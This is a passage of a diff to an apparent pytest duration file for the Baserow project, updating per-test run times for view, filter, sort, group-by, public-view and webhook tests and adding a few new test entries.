"tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_public_view_aggregations": 0.5842152090044692, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_public_view_aggregations_accessed_with_password": 0.1979295409983024, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_public_view_aggregations_adhoc_filtering_advanced_filters_are_preferred_to_other_filter_query_params": 0.1816633740090765, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_public_view_aggregations_adhoc_filtering_combineswith_existing_filters": 0.24286608296097256, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_public_view_aggregations_adhoc_filtering_invalid_advanced_filters": 0.14705733297159895, "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_public_view_aggregations_adhoc_filtering_overrides_existing_filters": 0.21151529100006883, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_public_view_aggregations_hidden_field_advanced_filter": 0.17035020999992412, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_public_view_aggregations_hidden_field_query_filter": 0.17574920900005964, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_public_view_aggregations_hidden_field_search": 0.19470579200060456, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_public_view_aggregations_hidden_field_search_logged_in_user": 0.19936191699980554, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_public_view_aggregations_hidden_fields": 0.1746413749997373, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_public_view_aggregations_no_adhoc_filtering_uses_view_filters": 0.18319729099948745, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_public_view_aggregations_trashed": 0.1524097929986965, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_public_view_aggregations_trashed_parent": 0.15198112500002026, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_public_view_aggregations_view_doesnt_exist": 0.013264292000712885, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_public_view_aggregations_view_not_publicly_shared": 0.152877500001523, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_public_view_aggregations_hidden_field_advanced_filter": 0.1500250410172157, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_public_view_aggregations_hidden_field_query_filter": 0.17099500002223067, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_public_view_aggregations_hidden_field_search": 0.19971891600289382, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_public_view_aggregations_hidden_field_search_logged_in_user": 0.21439874998759478, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_public_view_aggregations_hidden_fields": 0.18326208399957977, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_public_view_aggregations_no_adhoc_filtering_uses_view_filters": 0.1863096249580849, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_public_view_aggregations_trashed": 0.1097143329679966, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_public_view_aggregations_trashed_parent": 0.12174966701422818, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_public_view_aggregations_view_doesnt_exist": 0.026625124999554828, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_public_view_aggregations_view_not_publicly_shared": 0.1251039160124492, "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_rotating_slug_of_a_public_password_protected_view_invalidate_previous_tokens": 0.13335443200048758, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_update_grid_view": 0.41347516600035306, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_update_grid_view": 0.31703812498017214, "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_user_in_same_group_can_get_info_about_a_non_public_grid_view": 0.08113707599841291, "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_user_in_wrong_group_cant_get_info_about_a_non_public_grid_view": 0.12974431299880962, "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_user_in_wrong_group_need_the_password_to_access_password_protected_grid_view": 0.18827821900049457, "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_user_with_invalid_token_cant_get_info_about_a_public_password_protected_grid_view": 0.13261948199942708, "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_user_with_password_can_get_info_about_a_public_password_protected_grid_view": 0.197770976999891, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_user_with_wrong_password_cant_get_info_about_a_public_password_protected_grid_view": 0.42305758299971785, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_view_aggregations": 0.4536542489995554, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_view_aggregations_adhoc_filtering_advanced_filters_are_preferred_to_other_filter_query_params": 0.19524116599950503, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_view_aggregations_adhoc_filtering_invalid_advanced_filters": 0.17772770900137402, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_view_aggregations_adhoc_filtering_overrides_existing_filters": 0.19469816699984221, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_view_aggregations_cache_invalidation_with_dependant_fields": 1.0289654589996644, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_view_aggregations_no_adhoc_filtering_uses_view_filters": 0.19066616599866393, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_user_with_wrong_password_cant_get_info_about_a_public_password_protected_grid_view": 0.2644036249839701, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_view_aggregations": 1.1644224179908633, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_view_aggregations_adhoc_filtering_advanced_filters_are_preferred_to_other_filter_query_params": 0.17817787500098348, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_view_aggregations_adhoc_filtering_invalid_advanced_filters": 0.15220066701294854, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_view_aggregations_adhoc_filtering_overrides_existing_filters": 0.1805998749914579, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_view_aggregations_cache_invalidation_with_dependant_fields": 2.1190166659944225, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_view_aggregations_no_adhoc_filtering_uses_view_filters": 0.18942720899940468, "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_view_creator_can_always_get_data_of_a_public_password_protected": 0.13730887900237576, - "tests/baserow/contrib/database/api/views/test_view_decoration.py::test_create_view_decoration": 0.22180116599975008, - "tests/baserow/contrib/database/api/views/test_view_decoration.py::test_delete_view_decoration": 0.17470937500002037, - "tests/baserow/contrib/database/api/views/test_view_decoration.py::test_get_view_decoration": 0.17876500000056694, - "tests/baserow/contrib/database/api/views/test_view_decoration.py::test_list_view_decorations": 0.1984415840015572, - "tests/baserow/contrib/database/api/views/test_view_decoration.py::test_list_views_including_decorations": 0.17112587399969925, - "tests/baserow/contrib/database/api/views/test_view_decoration.py::test_update_view_decoration_incompatible_value_provider_conf": 0.19287995899958332, - "tests/baserow/contrib/database/api/views/test_view_decoration.py::test_update_view_decoration_order": 0.15974487499988754, - "tests/baserow/contrib/database/api/views/test_view_decoration.py::test_update_view_decoration_to_compatible_type": 0.1566283749998547, - "tests/baserow/contrib/database/api/views/test_view_decoration.py::test_update_view_decoration_to_incompatible_type": 0.1562659999999596, - "tests/baserow/contrib/database/api/views/test_view_decoration.py::test_update_view_decoration_validation": 0.1843630840012338, - "tests/baserow/contrib/database/api/views/test_view_decoration.py::test_update_view_decoration_value_provider": 0.16650674899938167, - "tests/baserow/contrib/database/api/views/test_view_filter.py::test_cant_delete_view_filter_when_view_trashed": 0.1652777920016888, - "tests/baserow/contrib/database/api/views/test_view_filter.py::test_cant_update_view_filter_when_view_trashed": 0.15956549899874517, - "tests/baserow/contrib/database/api/views/test_view_filter.py::test_create_view_filter": 0.2271177919992624, - "tests/baserow/contrib/database/api/views/test_view_filter.py::test_create_view_filter_group": 0.17826487600086693, - "tests/baserow/contrib/database/api/views/test_view_filter.py::test_create_view_filter_group_and_add_filters": 0.20382991600035893, - "tests/baserow/contrib/database/api/views/test_view_filter.py::test_delete_view_filter": 0.17857666700001573, - "tests/baserow/contrib/database/api/views/test_view_filter.py::test_delete_view_filter_group": 0.17280587599998398, - "tests/baserow/contrib/database/api/views/test_view_filter.py::test_get_link_row_filter_type_preload_values": 0.2210427919999347, - "tests/baserow/contrib/database/api/views/test_view_filter.py::test_get_view_filter": 0.18104416800088075, - "tests/baserow/contrib/database/api/views/test_view_filter.py::test_get_view_filter_group": 0.17814316699968913, - "tests/baserow/contrib/database/api/views/test_view_filter.py::test_list_view_filters": 0.18656562499927531, - "tests/baserow/contrib/database/api/views/test_view_filter.py::test_list_views_including_filters": 0.18968495900116977, - "tests/baserow/contrib/database/api/views/test_view_filter.py::test_update_view_filter": 0.26502012599939917, - "tests/baserow/contrib/database/api/views/test_view_filter.py::test_update_view_filter_group": 0.16951916700054426, - "tests/baserow/contrib/database/api/views/test_view_filter.py::test_view_filter_group_can_be_nested": 0.16268699900047068, - "tests/baserow/contrib/database/api/views/test_view_filter.py::test_view_filter_group_delete_all_nested_children": 0.1766094989998237, - "tests/baserow/contrib/database/api/views/test_view_group_by.py::test_cannot_created_group_by": 0.1660011250005482, - "tests/baserow/contrib/database/api/views/test_view_group_by.py::test_cant_delete_view_group_by_when_view_trashed": 0.17601870999988023, - "tests/baserow/contrib/database/api/views/test_view_group_by.py::test_cant_get_view_group_by_when_view_trashed": 0.15815083300003607, - "tests/baserow/contrib/database/api/views/test_view_group_by.py::test_cant_update_view_group_by_when_view_trashed": 0.17022199999883014, - "tests/baserow/contrib/database/api/views/test_view_group_by.py::test_create_view_group_by": 0.2720070000004853, - "tests/baserow/contrib/database/api/views/test_view_group_by.py::test_delete_view_group_by": 0.18309520900038478, - "tests/baserow/contrib/database/api/views/test_view_group_by.py::test_get_view_group_by": 0.1843959569996514, - "tests/baserow/contrib/database/api/views/test_view_group_by.py::test_list_view_group_bys": 0.20251133300007496, - "tests/baserow/contrib/database/api/views/test_view_group_by.py::test_list_views_including_group_bys": 0.19188316699910501, - "tests/baserow/contrib/database/api/views/test_view_group_by.py::test_update_field_to_incompatible_group_by_deletes_group": 0.17562316599924088, - "tests/baserow/contrib/database/api/views/test_view_group_by.py::test_update_view_group_by": 0.2977160830005232, - "tests/baserow/contrib/database/api/views/test_view_serializers.py::test_serialize_group_by_metadata": 0.03407570800027315, - "tests/baserow/contrib/database/api/views/test_view_serializers.py::test_serialize_group_by_metadata_on_all_fields_in_interesting_table": 3.811516585999925, - "tests/baserow/contrib/database/api/views/test_view_sort.py::test_cant_delete_view_sort_when_view_trashed": 0.16584133400010614, - "tests/baserow/contrib/database/api/views/test_view_sort.py::test_cant_get_view_sort_when_view_trashed": 0.15584491700064973, - "tests/baserow/contrib/database/api/views/test_view_sort.py::test_cant_update_view_sort_when_view_trashed": 0.17017008300081216, - "tests/baserow/contrib/database/api/views/test_view_sort.py::test_create_view_sort": 0.26060783299999457, - "tests/baserow/contrib/database/api/views/test_view_sort.py::test_delete_view_sort": 0.17481791699992755, - "tests/baserow/contrib/database/api/views/test_view_sort.py::test_get_view_sort": 0.18199933399955626, - "tests/baserow/contrib/database/api/views/test_view_sort.py::test_list_view_sortings": 0.19597512599921174, - "tests/baserow/contrib/database/api/views/test_view_sort.py::test_list_views_including_sortings": 0.19162150000011025, - "tests/baserow/contrib/database/api/views/test_view_sort.py::test_update_view_sort": 0.26322616699962964, - "tests/baserow/contrib/database/api/views/test_view_views.py::test_anon_user_cant_get_info_about_a_non_public_view": 0.15367395800058148, - "tests/baserow/contrib/database/api/views/test_view_views.py::test_anon_user_cant_get_info_about_a_public_password_protected_view": 0.29323766700053966, - "tests/baserow/contrib/database/api/views/test_view_views.py::test_cannot_get_info_about_not_eligibile_view_type": 0.1494554170012634, - "tests/baserow/contrib/database/api/views/test_view_views.py::test_cannot_get_info_about_trashed_view": 0.14931399899887765, + "tests/baserow/contrib/database/api/views/test_view_decoration.py::test_create_view_decoration": 0.19446270901244134, + "tests/baserow/contrib/database/api/views/test_view_decoration.py::test_delete_view_decoration": 0.15877424899372272, + "tests/baserow/contrib/database/api/views/test_view_decoration.py::test_get_view_decoration": 0.17615987500175834, + "tests/baserow/contrib/database/api/views/test_view_decoration.py::test_list_view_decorations": 0.16235016705468297, + "tests/baserow/contrib/database/api/views/test_view_decoration.py::test_list_views_including_decorations": 0.16534583302563988, + "tests/baserow/contrib/database/api/views/test_view_decoration.py::test_update_view_decoration_incompatible_value_provider_conf": 0.18417733299429528, + "tests/baserow/contrib/database/api/views/test_view_decoration.py::test_update_view_decoration_order": 0.13228591598453932, + "tests/baserow/contrib/database/api/views/test_view_decoration.py::test_update_view_decoration_to_compatible_type": 0.13160404097288847, + "tests/baserow/contrib/database/api/views/test_view_decoration.py::test_update_view_decoration_to_incompatible_type": 0.10152308296528645, + "tests/baserow/contrib/database/api/views/test_view_decoration.py::test_update_view_decoration_validation": 0.15464875003090128, + "tests/baserow/contrib/database/api/views/test_view_decoration.py::test_update_view_decoration_value_provider": 0.1522467499889899, + "tests/baserow/contrib/database/api/views/test_view_filter.py::test_cant_delete_view_filter_when_view_trashed": 0.13750299898674712, + "tests/baserow/contrib/database/api/views/test_view_filter.py::test_cant_update_view_filter_when_view_trashed": 0.13755337503971532, + "tests/baserow/contrib/database/api/views/test_view_filter.py::test_create_view_filter": 0.1993727080116514, + "tests/baserow/contrib/database/api/views/test_view_filter.py::test_create_view_filter_group": 0.1526257930090651, + "tests/baserow/contrib/database/api/views/test_view_filter.py::test_create_view_filter_group_and_add_filters": 0.17864091697265394, + "tests/baserow/contrib/database/api/views/test_view_filter.py::test_delete_view_filter": 0.17143637500703335, + "tests/baserow/contrib/database/api/views/test_view_filter.py::test_delete_view_filter_group": 0.15269579197047278, + "tests/baserow/contrib/database/api/views/test_view_filter.py::test_get_link_row_filter_type_preload_values": 0.2498227919859346, + "tests/baserow/contrib/database/api/views/test_view_filter.py::test_get_view_filter": 0.17925145896151662, + "tests/baserow/contrib/database/api/views/test_view_filter.py::test_get_view_filter_group": 0.17010325100272894, + "tests/baserow/contrib/database/api/views/test_view_filter.py::test_list_view_filters": 0.18002979198354296, + "tests/baserow/contrib/database/api/views/test_view_filter.py::test_list_views_including_filters": 0.1873931250302121, + "tests/baserow/contrib/database/api/views/test_view_filter.py::test_update_view_filter": 0.29940770802204497, + "tests/baserow/contrib/database/api/views/test_view_filter.py::test_update_view_filter_group": 0.15988862499943934, + "tests/baserow/contrib/database/api/views/test_view_filter.py::test_view_filter_group_can_be_nested": 0.1377932919713203, + "tests/baserow/contrib/database/api/views/test_view_filter.py::test_view_filter_group_delete_all_nested_children": 0.16486524901119992, + "tests/baserow/contrib/database/api/views/test_view_group_by.py::test_cannot_created_group_by": 0.15256391701404937, + "tests/baserow/contrib/database/api/views/test_view_group_by.py::test_cant_delete_view_group_by_when_view_trashed": 0.13121266703819856, + "tests/baserow/contrib/database/api/views/test_view_group_by.py::test_cant_get_view_group_by_when_view_trashed": 0.12649079196853563, + "tests/baserow/contrib/database/api/views/test_view_group_by.py::test_cant_update_view_group_by_when_view_trashed": 0.13551779100089334, + "tests/baserow/contrib/database/api/views/test_view_group_by.py::test_create_view_group_by": 0.3034660829580389, + "tests/baserow/contrib/database/api/views/test_view_group_by.py::test_create_view_group_by_with_type": 0.16962458402849734, + "tests/baserow/contrib/database/api/views/test_view_group_by.py::test_delete_view_group_by": 0.17541920798248611, + "tests/baserow/contrib/database/api/views/test_view_group_by.py::test_get_view_group_by": 0.18430079199606553, + "tests/baserow/contrib/database/api/views/test_view_group_by.py::test_list_view_group_bys": 0.19995758301229216, + "tests/baserow/contrib/database/api/views/test_view_group_by.py::test_list_views_including_group_bys": 0.1810090829967521, + "tests/baserow/contrib/database/api/views/test_view_group_by.py::test_update_field_to_incompatible_group_by_deletes_group": 0.18696008299593814, + "tests/baserow/contrib/database/api/views/test_view_group_by.py::test_update_view_group_by": 0.33237758398172446, + "tests/baserow/contrib/database/api/views/test_view_group_by.py::test_update_view_group_by_with_type": 0.21072116601862945, + "tests/baserow/contrib/database/api/views/test_view_serializers.py::test_serialize_group_by_metadata": 0.05743000001530163, + "tests/baserow/contrib/database/api/views/test_view_serializers.py::test_serialize_group_by_metadata_on_all_fields_in_interesting_table": 5.168037374009145, + "tests/baserow/contrib/database/api/views/test_view_sort.py::test_cant_delete_view_sort_when_view_trashed": 0.13858295901445672, + "tests/baserow/contrib/database/api/views/test_view_sort.py::test_cant_get_view_sort_when_view_trashed": 0.12347975000739098, + "tests/baserow/contrib/database/api/views/test_view_sort.py::test_cant_update_view_sort_when_view_trashed": 0.1419410410162527, + "tests/baserow/contrib/database/api/views/test_view_sort.py::test_create_view_sort": 0.2508401659724768, + "tests/baserow/contrib/database/api/views/test_view_sort.py::test_create_view_sort_with_type": 0.1667854580155108, + "tests/baserow/contrib/database/api/views/test_view_sort.py::test_delete_view_sort": 0.16967533400747925, + "tests/baserow/contrib/database/api/views/test_view_sort.py::test_get_view_sort": 0.18506687501212582, + "tests/baserow/contrib/database/api/views/test_view_sort.py::test_list_view_sortings": 0.17850729200290516, + "tests/baserow/contrib/database/api/views/test_view_sort.py::test_list_views_including_sortings": 0.18104741699062288, + "tests/baserow/contrib/database/api/views/test_view_sort.py::test_update_view_sort": 0.29831595899304375, + "tests/baserow/contrib/database/api/views/test_view_sort.py::test_update_view_sort_with_type": 0.21366566701908596, + "tests/baserow/contrib/database/api/views/test_view_views.py::test_anon_user_cant_get_info_about_a_non_public_view": 0.12131550000049174, + "tests/baserow/contrib/database/api/views/test_view_views.py::test_anon_user_cant_get_info_about_a_public_password_protected_view": 0.2171896240033675, + "tests/baserow/contrib/database/api/views/test_view_views.py::test_can_limit_linked_items_in_public_views": 0.443980374984676, + "tests/baserow/contrib/database/api/views/test_view_views.py::test_can_limit_linked_items_in_views": 0.4053392080240883, + "tests/baserow/contrib/database/api/views/test_view_views.py::test_cannot_get_info_about_not_eligibile_view_type": 0.1262811670312658, + "tests/baserow/contrib/database/api/views/test_view_views.py::test_cannot_get_info_about_trashed_view": 0.12199320798390545, "tests/baserow/contrib/database/api/views/test_view_views.py::test_create_view_filter": 0.14537222699800623, "tests/baserow/contrib/database/api/views/test_view_views.py::test_create_view_sort": 0.18325927299883915, - "tests/baserow/contrib/database/api/views/test_view_views.py::test_delete_view": 0.29464629200083436, + "tests/baserow/contrib/database/api/views/test_view_views.py::test_delete_view": 0.22601275000488386, "tests/baserow/contrib/database/api/views/test_view_views.py::test_delete_view_filter": 0.10696290399937425, "tests/baserow/contrib/database/api/views/test_view_views.py::test_delete_view_sort": 0.11403457599953981, - "tests/baserow/contrib/database/api/views/test_view_views.py::test_duplicate_views": 0.19344679200003156, + "tests/baserow/contrib/database/api/views/test_view_views.py::test_duplicate_views": 0.21439516701502725, "tests/baserow/contrib/database/api/views/test_view_views.py::test_get_link_row_filter_type_preload_values": 0.16057079700112808, - "tests/baserow/contrib/database/api/views/test_view_views.py::test_get_view": 0.31473833400013973, - "tests/baserow/contrib/database/api/views/test_view_views.py::test_get_view_field_options": 0.17644662600014271, - "tests/baserow/contrib/database/api/views/test_view_views.py::test_get_view_field_options_as_template": 0.16299858300044434, + "tests/baserow/contrib/database/api/views/test_view_views.py::test_get_public_row": 0.3127132919616997, + "tests/baserow/contrib/database/api/views/test_view_views.py::test_get_view": 0.2556288329651579, + "tests/baserow/contrib/database/api/views/test_view_views.py::test_get_view_field_options": 0.1452161250053905, + "tests/baserow/contrib/database/api/views/test_view_views.py::test_get_view_field_options_as_template": 0.14219187598791905, "tests/baserow/contrib/database/api/views/test_view_views.py::test_get_view_filter": 0.11309163399710087, "tests/baserow/contrib/database/api/views/test_view_views.py::test_get_view_sort": 0.11562721699738177, "tests/baserow/contrib/database/api/views/test_view_views.py::test_list_view_filters": 0.11876866399688879, "tests/baserow/contrib/database/api/views/test_view_views.py::test_list_view_sortings": 0.12259314099719631, - "tests/baserow/contrib/database/api/views/test_view_views.py::test_list_views": 0.1837046670007112, - "tests/baserow/contrib/database/api/views/test_view_views.py::test_list_views_doesnt_do_n_queries": 0.17196966499977862, + "tests/baserow/contrib/database/api/views/test_view_views.py::test_list_views": 0.1995002920157276, + "tests/baserow/contrib/database/api/views/test_view_views.py::test_list_views_doesnt_do_n_queries": 0.16057737404480577, "tests/baserow/contrib/database/api/views/test_view_views.py::test_list_views_including_filters": 0.126608128000953, "tests/baserow/contrib/database/api/views/test_view_views.py::test_list_views_including_sortings": 0.11670814999888535, - "tests/baserow/contrib/database/api/views/test_view_views.py::test_list_views_ownership_type": 0.15877054199972918, - "tests/baserow/contrib/database/api/views/test_view_views.py::test_list_views_with_limit": 0.158200666999619, - "tests/baserow/contrib/database/api/views/test_view_views.py::test_list_views_with_type_filter": 0.16577262500140932, - "tests/baserow/contrib/database/api/views/test_view_views.py::test_loading_a_sortable_view_will_create_an_index": 0.3518467089988917, - "tests/baserow/contrib/database/api/views/test_view_views.py::test_order_views": 0.17867120899973088, - "tests/baserow/contrib/database/api/views/test_view_views.py::test_patch_view_field_options": 0.19274174999918614, - "tests/baserow/contrib/database/api/views/test_view_views.py::test_patch_view_field_options_as_template": 0.14808650099985243, - "tests/baserow/contrib/database/api/views/test_view_views.py::test_patch_view_validate_ownerhip_type_invalid_type": 0.15222904199981713, - "tests/baserow/contrib/database/api/views/test_view_views.py::test_public_gallery_view_fields_include_cover_image": 0.16924445800032117, - "tests/baserow/contrib/database/api/views/test_view_views.py::test_public_view_password_validation": 0.6020028749999256, - "tests/baserow/contrib/database/api/views/test_view_views.py::test_rotate_slug": 0.17974937399958435, - "tests/baserow/contrib/database/api/views/test_view_views.py::test_rotating_slug_of_a_public_password_protected_view_invalidate_previous_tokens": 0.2931077510011164, + "tests/baserow/contrib/database/api/views/test_view_views.py::test_list_views_ownership_type": 0.13469908299157396, + "tests/baserow/contrib/database/api/views/test_view_views.py::test_list_views_with_limit": 0.13033129097311758, + "tests/baserow/contrib/database/api/views/test_view_views.py::test_list_views_with_type_filter": 0.14347191696288064, + "tests/baserow/contrib/database/api/views/test_view_views.py::test_loading_a_sortable_view_will_create_an_index": 0.3977892489929218, + "tests/baserow/contrib/database/api/views/test_view_views.py::test_order_views": 0.16825737501494586, + "tests/baserow/contrib/database/api/views/test_view_views.py::test_patch_view_field_options": 0.20508249904378317, + "tests/baserow/contrib/database/api/views/test_view_views.py::test_patch_view_field_options_as_template": 0.12347016698913649, + "tests/baserow/contrib/database/api/views/test_view_views.py::test_patch_view_validate_ownerhip_type_invalid_type": 0.1205205830046907, + "tests/baserow/contrib/database/api/views/test_view_views.py::test_public_gallery_view_fields_include_cover_image": 0.14599970800918527, + "tests/baserow/contrib/database/api/views/test_view_views.py::test_public_view_password_validation": 0.44972154102288187, + "tests/baserow/contrib/database/api/views/test_view_views.py::test_rotate_slug": 0.17484008299652487, + "tests/baserow/contrib/database/api/views/test_view_views.py::test_rotating_slug_of_a_public_password_protected_view_invalidate_previous_tokens": 0.22096816697739996, "tests/baserow/contrib/database/api/views/test_view_views.py::test_update_view_filter": 0.17680737499904353, "tests/baserow/contrib/database/api/views/test_view_views.py::test_update_view_sort": 0.19296561699957238, "tests/baserow/contrib/database/api/views/test_view_views.py::test_user_in_same_group_can_get_info_about_a_non_public_view": 0.07461703999797464, - "tests/baserow/contrib/database/api/views/test_view_views.py::test_user_in_same_workspace_can_get_info_about_a_non_public_view": 0.15503033399909327, + "tests/baserow/contrib/database/api/views/test_view_views.py::test_user_in_same_workspace_can_get_info_about_a_non_public_view": 0.13290933304233477, "tests/baserow/contrib/database/api/views/test_view_views.py::test_user_in_wrong_group_cant_get_info_about_a_non_public_view": 0.14087524600108736, "tests/baserow/contrib/database/api/views/test_view_views.py::test_user_in_wrong_group_need_the_password_to_access_password_protected_view": 0.18911409299835213, - "tests/baserow/contrib/database/api/views/test_view_views.py::test_user_in_wrong_workspace_cant_get_info_about_a_non_public_view": 0.2827393759989718, - "tests/baserow/contrib/database/api/views/test_view_views.py::test_user_in_wrong_workspace_need_the_password_to_access_password_protected_view": 0.4236901670001316, - "tests/baserow/contrib/database/api/views/test_view_views.py::test_user_with_invalid_token_cant_get_info_about_a_public_password_protected_view": 0.2890889580003204, - "tests/baserow/contrib/database/api/views/test_view_views.py::test_user_with_password_can_get_info_about_a_public_password_protected_view": 0.4279087510003592, - "tests/baserow/contrib/database/api/views/test_view_views.py::test_view_cant_update_show_logo": 0.16312829100024828, - "tests/baserow/contrib/database/api/views/test_view_views.py::test_view_creator_can_always_get_data_of_a_public_password_protected": 0.29196650100038823, - "tests/baserow/contrib/database/api/webhooks/test_webhook_serializers.py::test_invalid_urls[http://google.de:8a]": 0.00836804099890287, - "tests/baserow/contrib/database/api/webhooks/test_webhook_serializers.py::test_invalid_urls[http://localhost:4000/endpoint]": 0.007949166998514556, - "tests/baserow/contrib/database/api/webhooks/test_webhook_serializers.py::test_invalid_urls[http://localhost]": 0.00764845800040348, - "tests/baserow/contrib/database/api/webhooks/test_webhook_serializers.py::test_invalid_urls[https://192.168.172.1:4000]": 0.008339041998624452, - "tests/baserow/contrib/database/api/webhooks/test_webhook_serializers.py::test_valid_urls[http://google.de]": 0.05334449900146865, - "tests/baserow/contrib/database/api/webhooks/test_webhook_serializers.py::test_valid_urls[https://google.de]": 0.02646337499936635, + "tests/baserow/contrib/database/api/views/test_view_views.py::test_user_in_wrong_workspace_cant_get_info_about_a_non_public_view": 0.19532991596497595, + "tests/baserow/contrib/database/api/views/test_view_views.py::test_user_in_wrong_workspace_need_the_password_to_access_password_protected_view": 0.27991191600449383, + "tests/baserow/contrib/database/api/views/test_view_views.py::test_user_with_invalid_token_cant_get_info_about_a_public_password_protected_view": 0.1956128329911735, + "tests/baserow/contrib/database/api/views/test_view_views.py::test_user_with_password_can_get_info_about_a_public_password_protected_view": 0.3089545420370996, + "tests/baserow/contrib/database/api/views/test_view_views.py::test_view_cant_update_allow_public_export": 0.13424691700492986, + "tests/baserow/contrib/database/api/views/test_view_views.py::test_view_cant_update_show_logo": 0.14042862504720688, + "tests/baserow/contrib/database/api/views/test_view_views.py::test_view_creator_can_always_get_data_of_a_public_password_protected": 0.21382941701449454, + "tests/baserow/contrib/database/api/webhooks/test_webhook_serializers.py::test_invalid_urls[http://google.de:8a]": 0.012926834024256095, + "tests/baserow/contrib/database/api/webhooks/test_webhook_serializers.py::test_invalid_urls[http://localhost:4000/endpoint]": 0.014521167002385482, + "tests/baserow/contrib/database/api/webhooks/test_webhook_serializers.py::test_invalid_urls[http://localhost]": 0.01454891698085703, + "tests/baserow/contrib/database/api/webhooks/test_webhook_serializers.py::test_invalid_urls[https://192.168.172.1:4000]": 0.015086917002918199, + "tests/baserow/contrib/database/api/webhooks/test_webhook_serializers.py::test_valid_urls[http://google.de]": 0.05810058300266974, + "tests/baserow/contrib/database/api/webhooks/test_webhook_serializers.py::test_valid_urls[https://google.de]": 0.03768012500950135, "tests/baserow/contrib/database/api/webhooks/test_webhook_serializers.py::test_valid_urls[https://heise.de/myendpoint]": 0.06520280899985664, - "tests/baserow/contrib/database/api/webhooks/test_webhook_views.py::test_can_query_private_http_addresses_when_env_var_on": 0.36157987600017805, - "tests/baserow/contrib/database/api/webhooks/test_webhook_views.py::test_create_webhooks": 1.1786185010005283, - "tests/baserow/contrib/database/api/webhooks/test_webhook_views.py::test_delete_webhook": 0.360598041999765, - "tests/baserow/contrib/database/api/webhooks/test_webhook_views.py::test_get_webhook": 0.3472132500010048, - "tests/baserow/contrib/database/api/webhooks/test_webhook_views.py::test_list_webhooks": 0.29859270800079685, - "tests/baserow/contrib/database/api/webhooks/test_webhook_views.py::test_trigger_test_call": 0.47808458199961024, - "tests/baserow/contrib/database/api/webhooks/test_webhook_views.py::test_update_webhook": 0.48288704300011887, - "tests/baserow/contrib/database/db/test_db_schema.py::test_lenient_schema_editor": 0.012953123999977834, - "tests/baserow/contrib/database/db/test_db_schema.py::test_lenient_schema_editor_is_also_safe": 0.1602982089998477, - "tests/baserow/contrib/database/db/test_db_schema.py::test_safe_schema_editor": 0.16781670799991844, - "tests/baserow/contrib/database/db/test_db_schema.py::test_showing_how_djangos_schema_editor_is_broken": 0.00010900000052060932, + "tests/baserow/contrib/database/api/webhooks/test_webhook_views.py::test_can_query_private_http_addresses_when_env_var_on": 0.2343804169795476, + "tests/baserow/contrib/database/api/webhooks/test_webhook_views.py::test_create_webhook_with_event_config": 0.30973158398410305, + "tests/baserow/contrib/database/api/webhooks/test_webhook_views.py::test_create_webhook_with_event_config_unrelated_fields": 0.2798197910306044, + "tests/baserow/contrib/database/api/webhooks/test_webhook_views.py::test_create_webhooks": 1.2199128740176093, + "tests/baserow/contrib/database/api/webhooks/test_webhook_views.py::test_delete_webhook": 0.22989245800999925, + "tests/baserow/contrib/database/api/webhooks/test_webhook_views.py::test_get_webhook": 0.2157993750006426, + "tests/baserow/contrib/database/api/webhooks/test_webhook_views.py::test_list_webhooks": 0.2340940409922041, + "tests/baserow/contrib/database/api/webhooks/test_webhook_views.py::test_list_webhooks_empty_request_and_response": 0.1312785820045974, + "tests/baserow/contrib/database/api/webhooks/test_webhook_views.py::test_list_webhooks_truncated_calls": 0.13484212404000573, + "tests/baserow/contrib/database/api/webhooks/test_webhook_views.py::test_trigger_test_call": 0.3796979159815237, + "tests/baserow/contrib/database/api/webhooks/test_webhook_views.py::test_update_webhook": 0.3717607500148006, + 